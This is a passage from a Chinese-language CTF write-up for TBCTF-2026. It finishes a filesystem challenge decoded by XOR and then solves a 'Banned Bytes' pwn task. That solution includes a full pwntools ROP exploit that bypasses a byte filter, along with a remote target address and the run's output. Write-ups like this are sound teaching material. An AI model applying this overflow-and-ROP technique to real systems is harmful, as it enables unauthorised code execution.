&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raw += f.read(4)

&nbsp; &nbsp; &nbsp; &nbsp; print("[+] raw:", raw)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Extra encoding layer: every byte is XORed with 0x20
&nbsp; &nbsp; &nbsp; &nbsp; flag = bytes(b ^&nbsp;0x20&nbsp;for&nbsp;b&nbsp;in&nbsp;raw).rstrip(b"\x00")

&nbsp; &nbsp; &nbsp; &nbsp; print("[+] flag:", flag.decode())

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

运行结果:

[+] Found TBFS
[+] block_size &nbsp;= 512
[+] total_blocks = 8
[+] flag_inode &nbsp; = 0x1020
[+] raw: b'tbctf[SPAT\x11AL\x7fAWARE\x7fXOR\x7f\x11\x13\x13\x17] &nbsp; '
[+] flag: TBCTF{spat1al_aware_xor_1337}

Step 2: 修复编码层

raw 数据中存在不可打印字符:

\x11 \x13 \x17 \x7f

这些字符分别可以通过 XOR 0x20 还原为:

\x11 ^ 0x20 = 1
\x13 ^ 0x20 = 3
\x17 ^ 0x20 = 7
\x7f ^ 0x20 = _

同时,整个字符串都被 XOR 过,因此:

tbctf[ ... ] &nbsp;-> &nbsp;TBCTF{ ... }

最终得到正确 flag。

Flag

TBCTF{spat1al_aware_xor_1337}

Banned Bytes

Summary

程序存在栈溢出,但输入会过滤 xga. 四个字节。利用 ROP 先写入无 banned byte 的编码字符串,再通过 XOR gadget 在内存中修复为 flag.txt,最后调用 print_file("flag.txt") 读取 flag。

Solution

Step 1: 分析溢出与过滤

vuln 中栈上 buffer 大小为 0x50,但程序调用 read(0, buf, 0x200),因此可以覆盖返回地址。

返回地址偏移为:

0x50 + 8 = 0x58

程序读入后会过滤以下字符:

BAD =&nbsp;b"xga."

也就是说不能直接在 payload 中放入 flag.txt,否则其中的 ag.x 会被替换成 \x00

Step 2: 构造 ROP 修复字符串

二进制中存在以下可用 gadget:

0x40125b : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x401269 : mov qword ptr [r13], r12 ; ret
0x401264 : pop r14 ; pop r15 ; ret
0x40126e : xor byte ptr [r15], r14b ; ret
0x401272 : pop rdi ; ret

利用方式:

  1. 先向 .bss 写入安全字符串 fl\f/tyt`。
  2. 通过 XOR 1 修复成 flag.txt
  3. 调用 print_file("flag.txt")
  4. 调用 fflush(NULL) 保证输出刷新。

字符串修复关系如下:

fl`f/tyt
&nbsp; ^^^ ^
flag.txt

对应:

` ^ 1 = a
f ^ 1 = g
/ ^ 1 = .
y ^ 1 = x

远程服务通过 socat ... pty 启动,payload 中的 \x12 会被 PTY 当成 Ctrl-R 吞掉,所以发送前需要用 \x16,也就是 Ctrl-V,对 \x12 进行转义:

data.replace(b"\x12",&nbsp;b"\x16\x12")

完整 exploit 如下:

from&nbsp;pwn&nbsp;import&nbsp;*
import&nbsp;re

context.arch =&nbsp;"amd64"

HOST =&nbsp;"13.127.119.28"
PORT =&nbsp;1338

BAD =&nbsp;b"xga."

def&nbsp;p64x(x):
&nbsp; &nbsp;&nbsp;return&nbsp;p64(x)

def&nbsp;tty_quote(data: bytes)&nbsp;-> bytes:
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; remote socat uses pty.
&nbsp; &nbsp; \x12 is Ctrl-R and will be swallowed by tty line discipline.
&nbsp; &nbsp; Prefix it with Ctrl-V (\x16) so the program receives literal \x12.
&nbsp; &nbsp; """
&nbsp; &nbsp;&nbsp;return&nbsp;data.replace(b"\x12",&nbsp;b"\x16\x12")

pop4 =&nbsp;0x40125b&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_r13_r12 =&nbsp;0x401269&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# mov qword ptr [r13], r12 ; ret
pop_r14_r15 =&nbsp;0x401264&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# pop r14 ; pop r15 ; ret
xor_r15_r14b =&nbsp;0x40126e&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor byte ptr [r15], r14b ; ret
pop_rdi =&nbsp;0x401272&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# pop rdi ; ret

print_file_plt =&nbsp;0x401060
fflush_plt =&nbsp;0x401050
writebuf =&nbsp;0x404060

payload =&nbsp;b"A"&nbsp;*&nbsp;0x58

# target : f l a g . t x t
# encoded: f l ` f / t y t
encoded =&nbsp;b"fl`f/tyt"

# write encoded string to .bss
payload += p64x(pop4)
payload += encoded
payload += p64x(writebuf)
payload += p64x(0)
payload += p64x(0)
payload += p64x(mov_r13_r12)

# xor 1 修复:`->a, f->g, /->., y->x
for&nbsp;off&nbsp;in&nbsp;[2,&nbsp;3,&nbsp;4,&nbsp;6]:
&nbsp; &nbsp; payload += p64x(pop_r14_r15)
&nbsp; &nbsp; payload += p64x(1)
&nbsp; &nbsp; payload += p64x(writebuf + off)
&nbsp; &nbsp; payload += p64x(xor_r15_r14b)

# print_file("flag.txt")
payload += p64x(pop_rdi)
payload += p64x(writebuf)
payload += p64x(print_file_plt)

# fflush(NULL)
payload += p64x(pop_rdi)
payload += p64x(0)
payload += p64x(fflush_plt)

# crash after flush
payload += p64x(0)

assert&nbsp;not&nbsp;any(c&nbsp;in&nbsp;BAD&nbsp;for&nbsp;c&nbsp;in&nbsp;payload),&nbsp;"raw payload contains banned byte"

wire_payload = tty_quote(payload)

print("[+] raw payload len :", len(payload))
print("[+] wire payload len:", len(wire_payload))
print("[+] quoted \\x12 count:", payload.count(b"\x12"))

io = remote(HOST, PORT)
io.sendline(wire_payload)

data = io.recvall(timeout=5)
print(data.decode("latin-1", errors="ignore"))

m = re.search(rb"TBCTF\{[^}\r\n]+\}", data)
if&nbsp;m:
&nbsp; &nbsp; print("[+] FLAG:", m.group().decode())
else:
&nbsp; &nbsp; print("[-] flag not found")

Step 3: 获取 flag

运行脚本:

python3 exp.py

输出:

[+] raw payload len : 320
[+] wire payload len: 332
[+] quoted \x12 count: 12
[+] Opening connection to 13.127.119.28 on port 1338: Done
...
TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}
[+] FLAG: TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}

Flag

TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《TBCTF-2026》

TBCTF-2026 网络安全文章

TBCTF-2026

文章总结: 文档详细解析TBCTF-2026中PingMe的命令注入漏洞利用、RandomCheese的伪随机数预测机制及SanityCheck的词频分析技术,
评论:0   参与:  0